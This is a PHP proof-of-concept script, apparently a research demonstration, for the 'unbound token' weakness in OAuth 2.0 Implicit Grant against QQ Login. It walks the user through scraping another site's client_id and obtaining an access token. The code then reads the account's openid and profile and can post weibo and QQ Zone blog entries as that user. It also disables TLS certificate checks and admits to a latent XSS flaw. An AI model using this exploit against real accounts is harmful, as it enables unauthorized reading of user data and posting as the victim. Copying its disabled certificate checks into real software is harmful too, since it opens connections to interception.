<?php
/**
 * OAuth 2.0 Client-side Implicit Grant方式的“无绑定token”问题：以qq登录为例
 * 本脚本有潜在xss漏洞，请勿轻易放置在外网访问！本脚本仅供研究使用！
 * 
 * @author Horse Luke
 * @version $Id: qq_oauth2.php 217 2012-09-19 11:49:48Z horseluke@126.com $
 */
error_reporting(E_ALL);
ob_start();
header("Content-type: text/html; charset=utf-8");

//GET
if($_SERVER['REQUEST_METHOD'] != 'POST'){
	print '
	<strong>（本脚本有潜在xss漏洞，请勿轻易放置在外网访问！本脚本仅供研究使用！）</strong><br />
	本程序演示Client-side Implicit Grant方式中，由于“无绑定token”（http://article.yeeyan.org/view/50978/307535）导致的潜在安全问题。<br />
	演示平台为QQ登录OAuth 2.0。<br />
	请用如下url访问QQ登录界面（需要猜scope的内容；如果之前授权过会自动header跳转；如果访问失败，请把“&which=ConfirmPage&src=1”去掉；API文档见：http://wiki.opensns.qq.com/wiki/%E3%80%90QQ%E7%99%BB%E5%BD%95%E3%80%91%E4%BD%BF%E7%94%A8Implicit_Grant%E6%96%B9%E5%BC%8F%E8%8E%B7%E5%8F%96Access_Token）：

	<hr />
	https://graph.qq.com/oauth2.0/authorize?response_type=token&client_id=【请从各网站中抓取】&redirect_uri=http://open.z.qq.com/moc2/success.jsp&scope=get_user_info,add_one_blog,do_like,add_t,list_album&which=ConfirmPage&src=1

	<hr />如果不想猜scope，直接想授权该应用的所有权限，就访问这个jssdk url（真奇怪，为啥这个放得这么开？）：<hr />
	http://openapi.qzone.qq.com/oauth/show?which=Login&client_id=【请从各网站中抓取】&response_type=token&scope=all&redirect_uri=http%3A%2F%2Fqzonestyle.gtimg.cn%2Fqzone%2Fopenapi%2Fredirect.html
	
	<hr /><br />

	访问成功后会跳转，抓包可见如下几种url之一：
	<hr />
	http://open.z.qq.com/moc2/success.jsp?#access_token=【ACCESS TOKEN】&expires_in=【过期时间】
	http://qzonestyle.gtimg.cn/qzone/openapi/redirect.html#access_token=【ACCESS TOKEN】&expires_in=【过期时间】
	<br />

	<hr /><br />

	好了，信息已经全了（神马？不用知道app secret？就是不用-_-||）。请填入以下表单完成演示攻击：
	<form action="qq_oauth2.php" method="post">
		<h3>基础信息</h3>
		client_id：<input type="text" name="client_id" value=""  /><br />
		access_token：<input type="text" name="access_token" value=""  /><br />
		
		<br />
		<h3>发微博？</h3>
		
		发微博？<input type="checkbox" name="update_weibo" value="1"  />是<br />
		微博内容？（需要“发微博？”为勾选状态）<input type="text" name="update_weibo_content" value="欢迎光临"  /><br />
		
		<br />
		<h3>发表一篇日志到QQ空间？（需要client_id有较高权限）</h3>
		
		发表一篇日志到QQ空间？<input type="checkbox" name="add_one_blog" value="1"  />是<br />
		日志标题？（需要“发表一篇日志到QQ空间？”为勾选状态）<input type="text" name="add_one_blog_title" value="欢迎光临日志"  /><br />		
		日志内容？（需要“发表一篇日志到QQ空间？”为勾选状态）<textarea name="add_one_blog_content">欢迎光临日志内容</textarea><br />		
		<br />
		
		<input type="submit" name="submit" value="submit" />
	</form>

';
	exit();
}


echo '测试开始......<hr />';
if(empty($_POST['client_id']) || empty($_POST['access_token'])){
	exit('client_id和access_token必须不为空');
}

$client_id = $_POST['client_id'];
$access_token = $_POST['access_token'];
echo 'client_id:' .htmlspecialchars($client_id) . '<br />';
echo 'access_token:' .htmlspecialchars($access_token) . '<br />';





//获取openid
echo '<hr /><br />';
echo '获取openid中......<br />';
$token_url = "https://graph.qq.com/oauth2.0/me?access_token=".$access_token;
$response = get_url_contents($token_url);
echo_respond($token_url, 'GET', 'null', $response);

$openid = '';
if (strpos($response, "callback") !== false)
{
    $lpos = strpos($response, "(");
    $rpos = strrpos($response, ")");
    $response  = substr($response, $lpos + 1, $rpos - $lpos -1);
    $msg = json_decode($response, true);
    if (isset($msg['error'])){
      exit('openid获取失败，请参考上述请求信息');
    }
    $openid = $msg['openid'];
}

if(empty($openid)){
	exit('找不到openid');
}
echo '成功获取openid：' . $openid. '<br />';





//获取用户信息
echo '<hr /><br />';
echo '获取用户信息......<br />';
$get_user_info = "https://graph.qq.com/user/get_user_info?"
        . "access_token=" . $access_token
        . "&oauth_consumer_key=" . $client_id
        . "&openid=" . $openid
        . "&format=json";

$info = get_url_contents($get_user_info);
echo_respond($get_user_info, 'GET', 'null', $info);
var_export(json_decode($info, true));





//尝试发微博
if(isset($_POST['update_weibo']) && $_POST['update_weibo'] == 1  && !empty($_POST["update_weibo_content"])) {
	echo '<hr /><br />';
	echo '尝试发微博......<br />';
	//发表微博的接口地址, 不要更改!!
    $url  = "https://graph.qq.com/t/add_t";
    $data = "access_token=" . $access_token
        . "&oauth_consumer_key=" . $client_id
        . "&openid=" . $openid
        ."&format=json"
        ."&type=1"
        ."&content=".urlencode($_POST["update_weibo_content"])
        ."&img=". '';
    $ret = do_post($url, $data); 
    echo_respond($url, 'POST', $data, $ret);
	var_export(json_decode($ret, true));
}



//尝试发日志
if(isset($_POST['add_one_blog']) && $_POST['add_one_blog'] == 1 && !empty($_POST["add_one_blog_title"]) && !empty($_POST["add_one_blog_content"])) {
	echo '<hr /><br />';
	echo '尝试发日志......<br />';
	//发表日志的接口地址, 不要更改!!
    $url  = "https://graph.qq.com/blog/add_one_blog";
    $data = "access_token=" . $access_token
        . "&oauth_consumer_key=" . $client_id
        . "&openid=" . $openid
        ."&format=json"
        ."&content=".urlencode($_POST["add_one_blog_content"])
        ."&title=". urlencode($_POST["add_one_blog_title"]);
    $ret = do_post($url, $data); 
    echo_respond($url, 'POST', $data, $ret);
	var_export(json_decode($ret, true));
}



function echo_respond($url, $method, $post_data, $respond){
	$method = strtoupper($method);
	echo '<hr />';
	echo '==========[请求信息打印]==========<br />';
	echo '<b>URL:</b>'. htmlspecialchars($url). '<br />';
	echo '<b>METHOD:</b>'. htmlspecialchars($method). '<br />';
	
	if($method != 'GET'){
		echo '<b>POST_DATA:</b><br />';
		echo htmlspecialchars(var_export($post_data, true)). '<br />';	
	}

	
	echo '<b>RESPOND:</b><br />';
	echo htmlspecialchars(var_export($respond, true)). '<br />';
	
	echo '<hr /><br />';
}



/**
 * 以下代码来自“【QQ登录】SDK下载”
 * @see http://qzonestyle.gtimg.cn/qzone/vas/opensns/res/doc/Connect_PHP_SDK_for_OAuth2_V1.2_new.zip
 * @see http://wiki.opensns.qq.com/wiki/%E3%80%90QQ%E7%99%BB%E5%BD%95%E3%80%91SDK%E4%B8%8B%E8%BD%BD
 */

function do_post($url, $data)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_POST, TRUE); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    curl_setopt($ch, CURLOPT_URL, $url);
	//去掉https安全验证
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    $ret = curl_exec($ch);

    curl_close($ch);
    return $ret;
}

function get_url_contents($url)
{
    if (ini_get("allow_url_fopen") == "1")
        return file_get_contents($url);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_URL, $url);
	//去掉https安全验证
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    $result =  curl_exec($ch);
    curl_close($ch);

    return $result;
}